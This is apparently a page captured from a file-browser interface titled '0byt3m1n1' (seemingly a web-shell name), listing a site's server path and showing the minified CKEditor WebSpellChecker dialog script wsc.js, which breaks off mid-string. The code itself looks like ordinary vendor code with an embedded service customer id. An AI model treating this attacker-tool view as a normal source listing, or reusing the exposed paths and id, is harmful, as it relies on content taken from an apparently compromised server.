0byt3m1n1
Path:
/
home
/
mgatv524
/
public_html
/
mctv
/
web
/
dist
/
vendor
/
ckeditor
/
plugins
/
wsc
/
dialogs
/
[
Home
]
File: wsc.js
!function(){function e(e){return e&&e.domId&&e.getInputElement().$?e.getInputElement():!(!e||!e.$)&&e}function t(e){if(!e)throw"Languages-by-groups list are required for construct selectbox";var t,n=[],i="";for(t in e)for(var o in e[t]){var a=e[t][o];"en_US"==a?i=a:n.push(a)}return n.sort(),i&&n.unshift(i),{getCurrentLangGroup:function(t){e:{for(var n in e)for(var i in e[n])if(i.toUpperCase()===t.toUpperCase()){t=n;break e}t=""}return t},setLangList:function(){var t,n={};for(t in e)for(var i in e[t])n[e[t][i]]=i;return n}()}}var n,i,o=function(){var e=function(e,t,n){var i=(n=n||{}).expires;if("number"==typeof i&&i){var o=new Date;o.setTime(o.getTime()+1e3*i),i=n.expires=o}for(var a in i&&i.toUTCString&&(n.expires=i.toUTCString()),e=e+"="+(t=encodeURIComponent(t)),n)e+="; "+a,!0!==(t=n[a])&&(e+="="+t);document.cookie=e};return{postMessage:{init:function(e){window.addEventListener?window.addEventListener("message",e,!1):window.attachEvent("onmessage",e)},send:function(e){var t=Object.prototype.toString,n=e.fn||null,i=e.id||"",o=e.target||window,a=e.message||{id:i};e.message&&"[object Object]"==t.call(e.message)&&(e.message.id?e.message.id:e.message.id=i,a=e.message),e=window.JSON.stringify(a,n),o.postMessage(e,"*")},unbindHandler:function(e){window.removeEventListener?window.removeEventListener("message",e,!1):window.detachEvent("onmessage",e)}},hash:{create:function(){},parse:function(){}},cookie:{set:e,get:function(e){return(e=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)")))?decodeURIComponent(e[1]):void 0},remove:function(t){e(t,"",{expires:-1})}},misc:{findFocusable:function(e){var t=null;return e&&(t=e.find("a[href], area[href], input, select, textarea, button, *[tabindex], *[contenteditable]")),t},isVisible:function(e){var t;return(t=0===e.offsetWidth||0==e.offsetHeight)||(t="none"===(document.defaultView&&document.defaultView.getComputedStyle?document.defaultView.getComputedStyle(e,null).display:e.currentStyle?e.currentStyle.display:e.style.display)),!t},hasClass:function(e,t){return!(!e.className||!e.className.match(new RegExp("(\\s|^)"+t+"(\\s|$)")))}}}}(),a=a||{};a.TextAreaNumber=null,a.load=!0,a.cmd={SpellTab:"spell",Thesaurus:"thes",GrammTab:"grammar"},a.dialog=null,a.optionNode=null,a.selectNode=null,a.grammerSuggest=null,a.textNode={},a.iframeMain=null,a.dataTemp="",a.div_overlay=null,a.textNodeInfo={},a.selectNode={},a.selectNodeResponce={},a.langList=null,a.langSelectbox=null,a.banner="",a.show_grammar=null,a.div_overlay_no_check=null,a.targetFromFrame={},a.onLoadOverlay=null,a.LocalizationComing={},a.OverlayPlace=null,a.sessionid="",a.LocalizationButton={ChangeTo_button:{instance:null,text:"Change to",localizationID:"ChangeTo"},ChangeAll:{instance:null,text:"Change All"},IgnoreWord:{instance:null,text:"Ignore word"},IgnoreAllWords:{instance:null,text:"Ignore all words"},Options:{instance:null,text:"Options",optionsDialog:{instance:null}},AddWord:{instance:null,text:"Add word"},FinishChecking_button:{instance:null,text:"Finish Checking",localizationID:"FinishChecking"},Option_button:{instance:null,text:"Options",localizationID:"Options"},FinishChecking_button_block:{instance:null,text:"Finish Checking",localizationID:"FinishChecking"}},a.LocalizationLabel={ChangeTo_label:{instance:null,text:"Change to",localizationID:"ChangeTo"},Suggestions:{instance:null,text:"Suggestions"},Categories:{instance:null,text:"Categories"},Synonyms:{instance:null,text:"Synonyms"}},a.framesetHtml=function(e){return"<iframe id="+a.iframeNumber+"_"+e+' frameborder="0" allowtransparency="1" style="width:100%;border: 1px solid #AEB3B9;overflow: auto;background:#fff; border-radius: 3px;"></iframe>'},a.setIframe=function(e,t){var n;n=a.framesetHtml(t);var i=a.iframeNumber+"_"+t;e.getElement().setHtml(n),(n=(n=document.getElementById(i)).contentWindow?n.contentWindow:n.contentDocument.document?n.contentDocument.document:n.contentDocument).document.open(),n.document.write('<!DOCTYPE html><html><head><meta charset="UTF-8"><title>iframe</title><style>html,body{margin: 0;height: 100%;font: 13px/1.555 "Trebuchet MS", sans-serif;}a{color: #888;font-weight: bold;text-decoration: none;border-bottom: 1px solid #888;}.main-box {color:#252525;padding: 3px 5px;text-align: justify;}.main-box p{margin: 0 0 14px;}.main-box .cerr{color: #f00000;border-bottom-color: #f00000;}</style></head><body><div id="content" class="main-box"></div><iframe src="" frameborder="0" id="spelltext" name="spelltext" style="display:none; width: 100%" ></iframe><iframe src="" frameborder="0" id="loadsuggestfirst" name="loadsuggestfirst" style="display:none; width: 100%" ></iframe><iframe src="" frameborder="0" id="loadspellsuggestall" name="loadspellsuggestall" style="display:none; width: 100%" ></iframe><iframe src="" frameborder="0" id="loadOptionsForm" name="loadOptionsForm" style="display:none; width: 100%" ></iframe><script>(function(window) {var ManagerPostMessage = function() {var _init = function(handler) {if (document.addEventListener) {window.addEventListener("message", handler, false);} else {window.attachEvent("onmessage", handler);};};var _sendCmd = function(o) {var str,type = Object.prototype.toString,fn = o.fn || null,id = o.id || "",target = o.target || window,message = o.message || { "id": id };if (o.message && type.call(o.message) == "[object Object]") {(o.message["id"]) ? o.message["id"] : o.message["id"] = id;message = o.message;};str = JSON.stringify(message, fn);target.postMessage(str, "*");};return {init: _init,send: _sendCmd};};var manageMessageTmp = new ManagerPostMessage;var appString = (function(){var spell = parent.CKEDITOR.config.wsc.DefaultParams.scriptPath;var serverUrl = parent.CKEDITOR.config.wsc.DefaultParams.serviceHost;return serverUrl + spell;})();function loadScript(src, callback) {var scriptTag = document.createElement("script");scriptTag.type = "text/javascript";callback ? callback : callback = function() {};if(scriptTag.readyState) {scriptTag.onreadystatechange = function() {if (scriptTag.readyState == "loaded" ||scriptTag.readyState == "complete") {scriptTag.onreadystatechange = null;setTimeout(function(){scriptTag.parentNode.removeChild(scriptTag)},1);callback();}};}else{scriptTag.onload = function() {setTimeout(function(){scriptTag.parentNode.removeChild(scriptTag)},1);callback();};};scriptTag.src = src;document.getElementsByTagName("head")[0].appendChild(scriptTag);};window.onload = function(){loadScript(appString, function(){manageMessageTmp.send({"id": "iframeOnload","target": window.parent});});}})(this);<\/script></body></html>'),n.document.close(),a.div_overlay.setEnable()},a.setCurrentIframe=function(e){a.setIframe(a.dialog._.contents[e].Content,e)},a.setHeightBannerFrame=function(){var e=a.dialog.getContentElement("SpellTab","banner").getElement(),t=a.dialog.getContentElement("GrammTab","banner").getElement(),n=a.dialog.getContentElement("Thesaurus","banner").getElement();e.setStyle("height","90px"),t.setStyle("height","90px"),n.setStyle("height","90px")},a.setHeightFrame=function(){document.getElementById(a.iframeNumber+"_"+a.dialog._.currentTabId).style.height="240px"},a.sendData=function(e){var t,n,i=e._.currentTabId,o=e._.contents[i].Content;a.previousTab=i,a.setIframe(o,i);var s=function(s){i=e._.currentTabId,(s=s||window.event).data.getTarget().is("a")&&i!==a.previousTab&&(a.previousTab=i,o=e._.contents[i].Content,t=a.iframeNumber+"_"+i,a.div_overlay.setEnable(),o.getElement().getChildCount()?u(a.targetFromFrame[t],a.cmd[i]):(a.setIframe(o,i),n=document.getElementById(t),a.targetFromFrame[t]=n.contentWindow))};e.parts.tabs.removeListener("click",s),e.parts.tabs.on("click",s)},a.buildSelectLang=function(e){var t=new CKEDITOR.dom.element("div"),n=new CKEDITOR.dom.element("select");return e="wscLang"+e,t.addClass("cke_dialog_ui_input_select"),t.setAttribute("role","presentation"),t.setStyles({height:"auto",position:"absolute",right:"0",top:"-1px",width:"160px","white-space":"normal"}),n.setAttribute("id",e),n.addClass("cke_dialog_ui_input_select"),n.setStyles({width:"160px"}),t.append(n),t},a.buildOptionLang=function(e,t){var n,i,o=document.getElementById("wscLang"+t),s=document.createDocumentFragment(),l=[];if(0===o.options.length){for(n in e)l.push([n,e[n]]);l.sort();for(var r=0;r<l.length;r++)(n=document.createElement("option")).setAttribute("value",l[r][1]),i=document.createTextNode(l[r][0]),n.appendChild(i),s.appendChild(n);o.appendChild(s)}for(s=0;s<o.options.length;s++)o.options[s].value==a.selectingLang&&(o.options[s].selected="selected")},a.buildOptionSynonyms=function(t){t=a.selectNodeResponce[t];var n=e(a.selectNode.Synonyms);a.selectNode.Synonyms.clear();for(var i=0;i<t.length;i++){var o=document.createElement("option");o.text=t[i],o.value=t[i],n.$.add(o,i)}a.selectNode.Synonyms.getInputElement().$.firstChild.selected=!0,a.textNode.Thesaurus.setValue(a.selectNode.Synonyms.getInputElement().getValue())};var s=function(e){var t=document,n=e.target||t.body,i=e.id||"overlayBlock",o=e.opacity||"0.9";e=e.background||"#f1f1f1";var a=t.getElementById(i),s=a||t.createElement("div");return s.style.cssText="position: absolute;top:30px;bottom:41px;left:1px;right:1px;z-index: 10020;padding:0;margin:0;background:"+e+";opacity: "+o+";filter: alpha(opacity="+100*o+");display: none;",s.id=i,a||n.appendChild(s),{setDisable:function(){s.style.display="none"},setEnable:function(){s.style.display="block"}}},l=function(e,t,n){var i=new CKEDITOR.dom.element("div"),o=new CKEDITOR.dom.element("input"),s=new CKEDITOR.dom.element("label"),l="wscGrammerSuggest"+e+"_"+t;return i.addClass("cke_dialog_ui_input_radio"),i.setAttribute("role","presentation"),i.setStyles({width:"97%",padding:"5px","white-space":"normal"}),o.setAttributes({type:"radio",value:t,name:"wscGrammerSuggest",id:l}),o.setStyles({float:"left"}),o.on("click",(function(e){a.textNode.GrammTab.setValue(e.sender.getValue())})),n&&o.setAttribute("checked",!0),o.addClass("cke_dialog_ui_radio_input"),s.appendText(e),s.setAttribute("for",l),s.setStyles({display:"block","line-height":"16px","margin-left":"18px","white-space":"normal"}),i.append(o),i.append(s),i},r=function(e){null!==(e=e||"true")&&"false"==e&&f()},c=function(e){var n=new t(e);e="wscLang"+a.dialog.getParentEditor().name,e=document.getElementById(e);var i,s=a.iframeNumber+"_"+a.dialog._.currentTabId;a.buildOptionLang(n.setLangList,a.dialog.getParentEditor().name),(i=n.getCurrentLangGroup(a.selectingLang))&&m[i].onShow(),r(a.show_grammar),e.onchange=function(e){e=n.getCurrentLangGroup(this.value);var t=a.dialog._.currentTabId;for(var i in m[e].onShow(),r(a.show_grammar),a.div_overlay.setEnable(),a.selectingLang=this.value,t=a.cmd[t],e&&m[e]&&m[e].allowedTabCommands[t]||(t=m[e].defaultTabCommand),a.cmd)if(a.cmd[i]==t){a.previousTab=i;break}o.postMessage.send({message:{changeLang:a.selectingLang,interfaceLang:a.interfaceLang,text:a.dataTemp,cmd:t},target:a.targetFromFrame[s],id:"selectionLang_outer__page"})}},d={iframeOnload:function(e){e=a.dialog._.currentTabId,u(a.targetFromFrame[a.iframeNumber+"_"+e],a.cmd[e])},suggestlist:function(t){delete t.id,a.div_overlay_no_check.setDisable(),w(),c(a.langList);var n,o=function(e){var t,n=function(e){(e=a.dialog.getContentElement(a.dialog._.currentTabId,e)||a.LocalizationButton[e].instance).getElement().hasClass("cke_disabled")?e.getElement().setStyle("color","#a0a0a0"):e.disable()};return t=function(e){(e=a.dialog.getContentElement(a.dialog._.currentTabId,e)||a.LocalizationButton[e].instance).enable(),e.getElement().setStyle("color","#333")},"no_any_suggestions"==e?(e="No suggestions",(t=a.dialog.getContentElement(a.dialog._.currentTabId,"ChangeTo_button")||a.LocalizationButton.ChangeTo_button.instance).disable(),(t=a.dialog.getContentElement(a.dialog._.currentTabId,"ChangeAll")||a.LocalizationButton.ChangeAll.instance).disable(),n("ChangeTo_button"),n("ChangeAll")):(t("ChangeTo_button"),t("ChangeAll")),e}(t.word);for(o instanceof Array&&(o=t.word[0]),n=o=o.split(","),a.textNode.SpellTab.setValue(n[0]),t=e(i),i.clear(),o=0;o<n.length;o++){var s=document.createElement("option");s.text=n[o],s.value=n[o],t.$.add(s,o)}y(),a.div_overlay.setDisable()},grammerSuggest:function(e){delete e.id,delete e.mocklangs,w(),c(a.langList);var t=e.grammSuggest[0];a.grammerSuggest.getElement().setHtml(""),a.textNode.GrammTab.reset(),a.textNode.GrammTab.setValue(t),a.textNodeInfo.GrammTab.getElement().setHtml(""),a.textNodeInfo.GrammTab.getElement().setText(e.info),t=(e=e.grammSuggest).length;for(var n=!0,i=0;i<t;i++)a.grammerSuggest.getElement().append(l(e[i],e[i],n)),n=!1;y(),a.div_overlay.setDisable()},thesaurusSuggest:function(t){delete t.id,delete t.mocklangs,w(),c(a.langList),a.selectNodeResponce=t,a.textNode.Thesaurus.reset();var n=e(a.selectNode.Categories),i=0;for(var o in a.selectNode.Categories.clear(),t)(t=document.createElement("option")).text=o,t.value=o,n.$.add(t,i),i++;n=a.selectNode.Categories.getInputElement().getChildren().$[0].value,a.selectNode.Categories.getInputElement().getChildren().$[0].selected=!0,a.buildOptionSynonyms(n),y(),a.div_overlay.setDisable()},finish:function(e){delete e.id,C(),(e=a.dialog.getContentElement(a.dialog._.currentTabId,"BlockFinishChecking").getElement()).removeStyle("display"),e.removeStyle("position"),e.removeStyle("left"),e.show(),a.div_overlay.setDisable()},settext:function(e){function t(){try{n.focus()}catch(e){}n.setData(e.text,(function(){a.dataTemp="",n.unlockSelection(),n.fire("saveSnapshot"),a.dialog.hide()}))}delete e.id,a.dialog.getParentEditor().getCommand("checkspell");var n=a.dialog.getParentEditor(),i=CKEDITOR.plugins.scayt,o=n.scayt;if(i&&n.wsc){var s,l,r=n.wsc.udn,c=n.wsc.ud;if(o){var d=function(){if(c)for(s=c.split(","),l=0;l<s.length;l+=1)o.addWordToUserDictionary(s[l]);else n.wsc.DataStorage.setData("scayt_user_dictionary",[]);t()};i.state.scayt[n.name]&&o.setMarkupPaused(!1),r?(n.wsc.DataStorage.setData("scayt_user_dictionary_name",r),o.restoreUserDictionary(r,d,d)):(n.wsc.DataStorage.setData("scayt_user_dictionary_name",""),o.removeUserDictionary(void 0,d,d))}else r?n.wsc.DataStorage.setData("scayt_user_dictionary_name",r):n.wsc.DataStorage.setData("scayt_user_dictionary_name",""),c&&(s=c.split(","),n.wsc.DataStorage.setData("scayt_user_dictionary",s)),t()}else t()},ReplaceText:function(e){delete e.id,a.div_overlay.setEnable(),a.dataTemp=e.text,a.selectingLang=e.currentLang,(e.cmd="0"!==e.len&&e.len)?a.div_overlay.setDisable():window.setTimeout((function(){try{a.div_overlay.setDisable()}catch(e){}}),500),function(e){var t,n,i;for(i in e){if(t=a.dialog.getContentElement(a.dialog._.currentTabId,i))t=t.getElement();else{if(!e[i].instance)continue;t=e[i].instance.getElement().getFirst()||e[i].instance.getElement()}n=e[i].localizationID||i,t.setText(a.LocalizationComing[n])}}(a.LocalizationButton),function(e){var t,n,i;for(i in e)(t=a.dialog.getContentElement(a.dialog._.currentTabId,i))||(t=e[i].instance),t.setLabel&&(n=e[i].localizationID||i,t.setLabel(a.LocalizationComing[n]+":"))}(a.LocalizationLabel)},options_checkbox_send:function(e){delete e.id,e={osp:o.cookie.get("osp"),udn:o.cookie.get("udn"),cust_dic_ids:a.cust_dic_ids},o.postMessage.send({message:e,target:a.targetFromFrame[a.iframeNumber+"_"+a.dialog._.currentTabId],id:"options_outer__page"})},getOptions:function(e){var t=e.DefOptions.udn;if(a.LocalizationComing=e.DefOptions.localizationButtonsAndText,a.show_grammar=e.show_grammar,a.langList=e.lang,a.bnr=e.bannerId,a.sessionid=e.sessionid,e.bannerId){a.setHeightBannerFrame();var n=e.banner;a.dialog.getContentElement(a.dialog._.currentTabId,"banner").getElement().setHtml(n)}else a.setHeightFrame();"undefined"==t&&(a.userDictionaryName?(t=a.userDictionaryName,n={osp:o.cookie.get("osp"),udn:a.userDictionaryName,cust_dic_ids:a.cust_dic_ids,id:"options_dic_send",udnCmd:"create"},o.postMessage.send({message:n,target:a.targetFromFrame[void 0]})):t=""),o.cookie.set("osp",e.DefOptions.osp),o.cookie.set("udn",t),o.cookie.set("cust_dic_ids",e.DefOptions.cust_dic_ids),o.postMessage.send({id:"giveOptions"})},options_dic_send:function(e){e={osp:o.cookie.get("osp"),udn:o.cookie.get("udn"),cust_dic_ids:a.cust_dic_ids,id:"options_dic_send",udnCmd:o.cookie.get("udnCmd")},o.postMessage.send({message:e,target:a.targetFromFrame[a.iframeNumber+"_"+a.dialog._.currentTabId]})},data:function(e){delete e.id},giveOptions:function(){},setOptionsConfirmF:function(){},setOptionsConfirmT:function(){n.setValue("")},clickBusy:function(){a.div_overlay.setEnable()},suggestAllCame:function(){a.div_overlay.setDisable(),a.div_overlay_no_check.setDisable()},TextCorrect:function(){c(a.langList)}},g=function(e){var t;e=e||window.event;try{t=window.JSON.parse(e.data)}catch(e){}t&&t.id&&d[t.id](t)},u=function(e,t,n,i){t=t||CKEDITOR.config.wsc_cmd,n=n||a.dataTemp,o.postMessage.send({message:{customerId:a.wsc_customerId,text:n,txt_ctrl:a.TextAreaNumber,cmd:t,cust_dic_ids:a.cust_dic_ids,udn:a.userDictionaryName,slang:a.selectingLang,interfaceLang:a.interfaceLang,reset_suggest:i||!1,sessionid:a.sessionid},target:e,id:"data_outer__page"}),a.div_overlay.setEnable()},m={superset:{onShow:function(){a.dialog.showPage("Thesaurus"),a.dialog.showPage("GrammTab"),b()},allowedTabCommands:{spell:!0,grammar:!0,thes:!0},defaultTabCommand:"spell"},usual:{onShow:function(){p(),f(),b()},allowedTabCommands:{spell:!0},defaultTabCommand:"spell"},rtl:{onShow:function(){p(),f(),b()},allowedTabCommands:{spell:!0},defaultTabCommand:"spell"},spellgrammar:{onShow:function(){p(),a.dialog.showPage("GrammTab"),b()},allowedTabCommands:{spell:!0,grammar:!0},defaultTabCommand:"spell"},spellthes:{onShow:function(){a.dialog.showPage("Thesaurus"),f(),b()},allowedTabCommands:{spell:!0,thes:!0},defaultTabCommand:"spell"}},h=function(e){var t=new function(e){var t={};return{getCmdByTab:function(n){for(var i in e)t[e[i]]=i;return t[n]}}}(a.cmd).getCmdByTab(CKEDITOR.config.wsc_cmd);y(),e.selectPage(t),a.sendData(e)},p=function(){a.dialog.hidePage("Thesaurus")},f=function(){a.dialog.hidePage("GrammTab")},b=function(){a.dialog.showPage("SpellTab")},y=function(){var e=a.dialog.getContentElement(a.dialog._.currentTabId,"bottomGroup").getElement();e.removeStyle("display"),e.removeStyle("position"),e.removeStyle("left"),e.show()},C=function(){var e,t=a.dialog.getContentElement(a.dialog._.currentTabId,"bottomGroup").getElement(),n=document.activeElement;t.setStyles({display:"block",position:"absolute",left:"-9999px"}),setTimeout((function(){if(t.removeStyle("display"),t.removeStyle("position"),t.removeStyle("left"),t.hide(),a.dialog._.editor.focusManager.currentActive.focusNext(),e=o.misc.findFocusable(a.dialog.parts.contents),o.misc.hasClass(n,"cke_dialog_tab")||o.misc.hasClass(n,"cke_dialog_contents_body")||!o.misc.isVisible(n)){for(var i,s=0;s<e.count();s++)if(i=e.getItem(s),o.misc.isVisible(i.$)){try{i.$.focus()}catch(e){}break}}else try{n.focus()}catch(e){}}),0)},w=function(){var e,t=a.dialog.getContentElement(a.dialog._.currentTabId,"BlockFinishChecking").getElement(),n=document.activeElement;t.setStyles({display:"block",position:"absolute",left:"-9999px"}),setTimeout((function(){if(t.removeStyle("display"),t.removeStyle("position"),t.removeStyle("left"),t.hide(),a.dialog._.editor.focusManager.currentActive.focusNext(),e=o.misc.findFocusable(a.dialog.parts.contents),o.misc.hasClass(n,"cke_dialog_tab")||o.misc.hasClass(n,"cke_dialog_contents_body")||!o.misc.isVisible(n)){for(var i,s=0;s<e.count();s++)if(i=e.getItem(s),o.misc.isVisible(i.$)){try{i.$.focus()}catch(e){}break}}else try{n.focus()}catch(e){}}),0)};CKEDITOR.dialog.add("checkspell",(function(e){var t=function(t){this.getElement().focus(),a.div_overlay.setEnable(),t=a.dialog._.currentTabId;var n=a.iframeNumber+"_"+t,i=a.textNode[t].getValue(),s=this.getElement().getAttribute("title-cmd");o.postMessage.send({message:{cmd:s,tabId:t,new_word:i},target:a.targetFromFrame[n],id:"cmd_outer__page"}),"ChangeTo"!=s&&"ChangeAll"!=s||e.fire("saveSnapshot"),"FinishChecking"==s&&e.config.wsc_onFinish.call(CKEDITOR.document.getWindow().getFrame())},n=560,l=444;return{title:e.config.wsc_dialogTitle||e.lang.wsc.title,minWidth:n,minHeight:l,buttons:[CKEDITOR.dialog.cancelButton],onLoad:function(){a.dialog=this,p(),f(),b(),e.plugins.scayt&&(e.wsc={},function(e){var t={separator:"<$>",getDataType:function(e){return void 0===e?"undefined":null===e?"null":Object.prototype.toString.call(e).slice(8,-1)},convertDataToString:function(e){return this.getDataType(e).toLowerCase()+this.separator+e},restoreDataFromString:function(e){var t,n=e;if("string"==typeof(e=this.backCompatibility(e)))switch(n=e.indexOf(this.separator),t=e.substring(0,n),n=e.substring(n+this.separator.length),t){case"boolean":n="true"===n;break;case"number":n=parseFloat(n);break;case"array":n=""===n?[]:n.split(",");break;case"null":n=null;break;case"undefined":n=void 0}return n},backCompatibility:function(e){var t=e;return"string"==typeof e&&0>e.indexOf(this.separator)&&(t=parseFloat(e),isNaN(t)&&(t="["===e[0]&&"]"===e[e.length-1]?""===(e=(e=e.replace("[","")).replace("]",""))?[]:e.split(","):"true"===e||"false"===e?"true"===e:e),t=this.convertDataToString(t)),t}},n={get:function(e){return t.restoreDataFromString(window.localStorage.getItem(e))},set:function(e,n){var i=t.convertDataToString(n);window.localStorage.setItem(e,i)},del:function(e){window.localStorage.removeItem(e)},clear:function(){window.localStorage.clear()}},i={expiration:31622400,get:function(e){return t.restoreDataFromString(this.getCookie(e))},set:function(e,n){var i=t.convertDataToString(n);this.setCookie(e,i,{expires:this.expiration})},del:function(e){this.deleteCookie(e)},getCookie:function(e){return(e=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)")))?decodeURIComponent(e[1]):void 0},setCookie:function(e,t,n){var i=(n=n||{}).expires;if("number"==typeof i&&i){var o=new Date;o.setTime(o.getTime()+1e3*i),i=n.expires=o}for(var a in i&&i.toUTCString&&(n.expires=i.toUTCString()),e=e+"="+(t=encodeURIComponent(t)),n)e+="; "+a,!0!==(t=n[a])&&(e+="="+t);document.cookie=e},deleteCookie:function(e){this.setCookie(e,null,{expires:-1})},clear:function(){for(var e=document.cookie.split(";"),t=0;t<e.length;t++){var n=(i=e[t]).indexOf("="),i=-1<n?i.substr(0,n):i;this.deleteCookie(i)}}},o=window.localStorage?n:i;e.DataStorage={getData:function(e){return o.get(e)},setData:function(e,t){o.set(e,t)},deleteData:function(e){o.del(e)},clear:function(){o.clear()}}}(e.wsc),e.wsc.operationWithUDN=function(e,t){o.postMessage.send({message:{udn:t,id:"operationWithUDN",udnCmd:e},target:a.targetFromFrame[a.iframeNumber+"_"+a.dialog._.currentTabId]})},e.wsc.getLocalStorageUDN=function(){var t=e.wsc.DataStorage.getData("scayt_user_dictionary_name");if(t)return t},e.wsc.getLocalStorageUD=function(){var t=e.wsc.DataStorage.getData("scayt_user_dictionary");if(t)return t},e.wsc.addWords=function(t,n){var i=e.config.wsc.DefaultParams.serviceHost+e.config.wsc.DefaultParams.ssrvHost+"?cmd=dictionary&format=json&customerid=1%3AncttD3-fIoSf2-huzwE4-Y5muI2-mD0Tt-kG9Wz-UEDFC-tYu243-1Uq474-d9Z2l3&action=addword&word="+t+"&callback=toString&synchronization=true",o=document.createElement("script");o.type="text/javascript",o.src=i,document.getElementsByTagName("head")[0].appendChild(o),o.onload=n,o.onreadystatechange=function(){"loaded"===this.readyState&&n()}},e.wsc.cgiOrigin=function(){var t=e.config.wsc.DefaultParams.serviceHost.split("/");return t[0]+"//"+t[2]},e.wsc.isSsrvSame=!1)},onShow:function(){if(a.dialog=this,e.lockSelection(e.getSelection()),a.TextAreaNumber="cke_textarea_"+e.name,o.postMessage.init(g),a.dataTemp=e.getData(),a.OverlayPlace=a.dialog.parts.tabs.getParent().$,CKEDITOR&&CKEDITOR.config){a.wsc_customerId=e.config.wsc_customerId,a.cust_dic_ids=e.config.wsc_customDictionaryIds,a.userDictionaryName=e.config.wsc_userDictionaryName,a.defaultLanguage=CKEDITOR.config.defaultLanguage;var t="file:"==document.location.protocol?"http:":document.location.protocol;t=e.config.wsc_customLoaderScript||t+"//www.webspellchecker.net/spellcheck31/lf/22/js/wsc_fck2plugin.js",!function(t){var i=parseInt(e.config.wsc_left,10),o=parseInt(e.config.wsc_top,10),a=parseInt(e.config.wsc_width,10),s=parseInt(e.config.wsc_height,10),r=CKEDITOR.document.getWindow().getViewPaneSize();t.getPosition();var c=t.getSize(),d=0;if(!t._.resized){d=c.height-t.parts.contents.getSize("height",!(CKEDITOR.env.gecko||CKEDITOR.env.opera||CKEDITOR.env.ie&&CKEDITOR.env.quirks));var g=c.width-t.parts.contents.getSize("width",1);(a<n||isNaN(a))&&(a=n),a>r.width-g&&(a=r.width-g),(s<l||isNaN(s))&&(s=l),s>r.height-d&&(s=r.height-d),c.width=a+g,c.height=s+d,t._.fromResizeEvent=!1,t.resize(a,s),setTimeout((function(){t._.fromResizeEvent=!1,CKEDITOR.dialog.fire("resize",{dialog:t,width:a,height:s},e)}),300)}t._.moved||(d=isNaN(i)&&isNaN(o)?0:1,isNaN(i)&&(i=(r.width-c.width)/2),0>i&&(i=0),i>r.width-c.width&&(i=r.width-c.width),isNaN(o)&&(o=(r.height-c.height)/2),0>o&&(o=0),o>r.height-c.height&&(o=r.height-c.height),t.move(i,o,d))}(this),CKEDITOR.scriptLoader.load(t,(function(t){CKEDITOR.config&&CKEDITOR.config.wsc&&CKEDITOR.config.wsc.DefaultParams?(a.serverLocationHash=CKEDITOR.config.wsc.DefaultParams.serviceHost,a.logotype=CKEDITOR.config.wsc.DefaultParams.logoPath,a.loadIcon=CKEDITOR.config.wsc.DefaultParams.iconPath,a.loadIconEmptyEditor=CKEDITOR.config.wsc.DefaultParams.iconPathEmptyEditor,a.LangComparer=new CKEDITOR.config.wsc.DefaultParams._SP_FCK_LangCompare):(a.serverLocationHash=DefaultParams.serviceHost,a.logotype=DefaultParams.logoPath,a.loadIcon=DefaultParams.iconPath,a.loadIconEmptyEditor=DefaultParams.iconPathEmptyEditor,a.LangComparer=new _SP_FCK_LangCompare),a.pluginPath=CKEDITOR.getUrl(e.plugins.wsc.path),a.iframeNumber=a.TextAreaNumber,a.templatePath=a.pluginPath+"dialogs/tmp.html",a.LangComparer.setDefaulLangCode(a.defaultLanguage),a.currentLang=e.config.wsc_lang||a.LangComparer.getSPLangCode(e.langCode)||"en_US",a.interfaceLang=e.config.wsc_interfaceLang,a.selectingLang=a.currentLang,a.div_overlay=new s({opacity:"1",background:"#fff url("+a.loadIcon+") no-repeat 50% 50%",target:a.OverlayPlace});var n=a.dialog.parts.tabs.getId();if((n=CKEDITOR.document.getById(n)).setStyle("width","97%"),n.getElementsByTag("DIV").count()||n.append(a.buildSelectLang(a.dialog.getParentEditor().name)),a.div_overlay_no_check=new s({opacity:"1",id:"no_check_over",background:"#fff url("+a.loadIconEmptyEditor+") no-repeat 50% 50%",target:a.OverlayPlace}),t&&(h(a.dialog),a.dialog.setupContent(a.dialog)),e.plugins.scayt&&(e.wsc.isSsrvSame=function(){var t,n,i,o,a,s=CKEDITOR.config.wsc.DefaultParams.serviceHost.replace("lf/22/js/../../../","").split("//")[1],l=CKEDITOR.config.wsc.DefaultParams.ssrvHost,r=e.config.scayt_srcUrl;return window.SCAYT&&window.SCAYT.CKSCAYT&&((i=SCAYT.CKSCAYT.prototype.basePath).split("//"),o=i.split("//")[1].split("/")[0],a=i.split(o+"/")[1].replace("/lf/scayt3/ckscayt/","")+"/script/ssrv.cgi"),!r||i||e.config.scayt_servicePath||(r.split("//"),t=r.split("//")[1].split("/")[0],n=r.split(t+"/")[1].replace("/lf/scayt3/ckscayt/ckscayt.js","")+"/script/ssrv.cgi"),"//"+s+l=="//"+(e.config.scayt_serviceHost||o||t)+"/"+(e.config.scayt_servicePath||a||n)}()),window.SCAYT&&e.wsc){var i=e.wsc.cgiOrigin();e.wsc.syncIsDone=!1,t=function(t){t.origin===i&&((t=JSON.parse(t.data)).ud&&"undefined"!==t.ud?e.wsc.ud=t.ud:"undefined"===t.ud&&(e.wsc.ud=void 0),t.udn&&"undefined"!==t.udn?e.wsc.udn=t.udn:"undefined"===t.udn&&(e.wsc.udn=void 0),e.wsc.syncIsDone||(o(e.wsc.ud),e.wsc.syncIsDone=!0))};var o=function(t){var n;(t=e.wsc.getLocalStorageUD())instanceof Array&&(n=t.toString()),void 0!==n&&""!==n&&setTimeout((function(){e.wsc.addWords(n,(function(){h(a.dialog),a.dialog.setupContent(a.dialog)}))}),400)};window.addEventListener?addEventListener("message",t,!1):window.attachEvent("onmessage",t),setTimeout((function(){var t=e.wsc.getLocalStorageUDN();void 0!==t&&e.wsc.operationWithUDN("restore",t)}),500)}}))}else a.dialog.hide()},onHide:function(){e.unlockSelection(),a.dataTemp="",a.sessionid="",o.postMessage.unbindHandler(g)},contents:[{id:"SpellTab",label:"SpellChecker",accessKey:"S",elements:[{type:"html",id:"banner",label:"banner",style:"",html:"<div></div>"},{type:"html",id:"Content",label:"spellContent",html:"",setup:function(e){e=a.iframeNumber+"_"+e._.currentTabId;var t=document.getElementById(e);a.targetFromFrame[e]=t.contentWindow}},{type:"hbox",id:"bottomGroup",style:"width:560px; margin: 0 auto;",widths:["50%","50%"],className:"wsc-spelltab-bottom",children:[{type:"hbox",id:"leftCol",align:"left",width:"50%",children:[{type:"vbox",id:"rightCol1",widths:["50%","50%"],children:[{type:"text",id:"ChangeTo_label",label:a.LocalizationLabel.ChangeTo_label.text+":",labelLayout:"horizontal",labelStyle:"font: 12px/25px arial, 